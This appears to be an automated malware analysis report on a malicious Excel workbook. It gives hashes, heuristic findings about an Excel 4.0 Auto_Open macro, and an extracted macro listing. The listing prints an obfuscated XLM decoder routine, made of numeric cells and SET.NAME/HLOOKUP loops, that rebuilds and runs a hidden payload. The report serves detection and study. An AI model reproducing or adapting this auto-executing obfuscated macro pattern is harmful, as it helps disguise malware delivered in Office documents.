Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7b35858f6a86fc88…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:47:21 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 7c356d72e2b4728090128916608b7856 SHA-1: 73e521bf247cadb680fbda3d3b35bcd865ad5c02 SHA-256: 7b35858f6a86fc88807938087acb290a30523ccc68a7ba09067334ca55bdc689
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6628 bytes
SHA-256: 5f6ec3b4b7449f92df84320fc231076b70756c5ab70889555bd18d679e531096
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sVtT
' 0018     25 LABEL : Cell Value, String Constant - AHHgXaPUKd len=0 
' 0018     26 LABEL : Cell Value, String Constant - akeblhuLCFs len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D164 
' 0018     26 LABEL : Cell Value, String Constant - CfaqCjCiBrb len=0 
' 0018     24 LABEL : Cell Value, String Constant - DgZTQlwND len=0 
' 0018     22 LABEL : Cell Value, String Constant - DtYXDwh len=0 
' 0018     21 LABEL : Cell Value, String Constant - DUzNdE len=0 
' 0018     21 LABEL : Cell Value, String Constant - eqFLCR len=0 
' 0018     22 LABEL : Cell Value, String Constant - errqbvB len=0 
' 0018     27 LABEL : Cell Value, String Constant - FQJurHshxwbK len=0 
' 0018     20 LABEL : Cell Value, String Constant - gJSmf len=0 
' 0018     22 LABEL : Cell Value, String Constant - GLAJTUy len=0 
' 0018     23 LABEL : Cell Value, String Constant - iCQXNGLO len=0 
' 0018     24 LABEL : Cell Value, String Constant - jryGRdsMb len=0 
' 0018     22 LABEL : Cell Value, String Constant - KzKImdi len=0 
' 0018     26 LABEL : Cell Value, String Constant - tTuluLppYFa len=0 
' 0018     22 LABEL : Cell Value, String Constant - UlqAibg len=0 
' 0018     21 LABEL : Cell Value, String Constant - yzaoom len=0 
' 0018     21 LABEL : Cell Value, String Constant - YzRDSe len=0 
' 0018     21 LABEL : Cell Value, String Constant - zfgwZY len=0 
' 0018     25 LABEL : Cell Value, String Constant - ziJsxrVmNn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sVtT,S43,"",-523.00000000000000000000
'  sVtT,S44,"",-637.00000000000000000000
'  sVtT,S45,"",499.00000000000000000000
'  sVtT,S46,"",427.00000000000000000000
'  sVtT,S47,"",-823.00000000000000000000
'  sVtT,S48,"",-179.00000000000000000000
'  sVtT,D80,"SET.NAME("iCQXNGLO",0+VALUE("0"))",""
'  sVtT,D83,"SET.NAME("AHHgXaPUKd",iCQXNGLO)",""
'  sVtT,D85,"SET.NAME("YzRDSe",iCQXNGLO)",""
'  sVtT,D89,"SET.NAME("KzKImdi",COUNTA(DtYXDwh))",""
'  sVtT,D91,"SET.NAME("yzaoom",COUNTA(zfgwZY))",""
'  sVtT,D95,[],""
'  sVtT,D100,"SET.NAME("tTuluLppYFa","")",""
'  sVtT,D105,"AHHgXaPUKd",""
'  sVtT,D108,"SET.NAME("gJSmf",HLOOKUP("*",DtYXDwh,AHHgXaPUKd,FALSE))",""
'  sVtT,D112,"eqFLCR",""
'  sVtT,D116,"SET.NAME("DUzNdE",iCQXNGLO)",""
'  sVtT,D119,[],""
'  sVtT,D121,"DUzNdE",""
'  sVtT,D125,"GLAJTUy",""
'  sVtT,D128,"FQJurHshxwbK",""
'  sVtT,D131,"CfaqCjCiBrb",""
'  sVtT,D136,"SET.NAME("akeblhuLCFs",VALUE(HLOOKUP("*",zfgwZY,CfaqCjCiBrb,FALSE)))",""
'  sVtT,D138,"jryGRdsMb",""
'  sVtT,D142,"tTuluLppYFa",""
'  sVtT,D147,"YzRDSe",""
'  sVtT,D150,NEXT(),""
'  sVtT,D152,"DgZTQlwND",""
'  sVtT,D154,[],""
'  sVtT,D156,"UlqAibg",""
'  sVtT,D158,NEXT(),""
'  sVtT,D162,RETURN(),""
'  sVtT,D193,"SET.NAME("ziJsxrVmNn",D80)",""
'  sVtT,D195,"DtYXDwh",""
'  sVtT,D200,"SET.NAME("zfgwZY",R84C13)",""
'  sVtT,D202,"SET.NAME("UlqAibg",211)",""
'  sVtT,D207,"SET.NAME("errqbvB",4)",""
'  sVtT,D210,ziJsxrVmNn(),""
'  sVtT,D211,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.